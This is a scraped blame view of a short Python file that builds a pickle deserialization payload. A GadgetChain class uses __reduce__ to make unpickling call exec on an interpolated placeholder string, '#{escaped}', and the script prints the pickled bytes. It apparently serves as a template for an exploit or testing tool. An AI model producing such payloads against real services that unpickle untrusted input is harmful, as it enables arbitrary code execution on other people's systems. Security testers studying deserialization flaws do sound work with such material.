Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

10 lines
226 B
Python
Raw Permalink Normal View History

import pickle
class GadgetChain:
def __reduce__(self):
return __builtins__.exec, ('#{escaped}',)
if __name__ == '__main__':
pickled = pickle.dumps(GadgetChain(), protocol=0)
print(repr(pickled.decode()))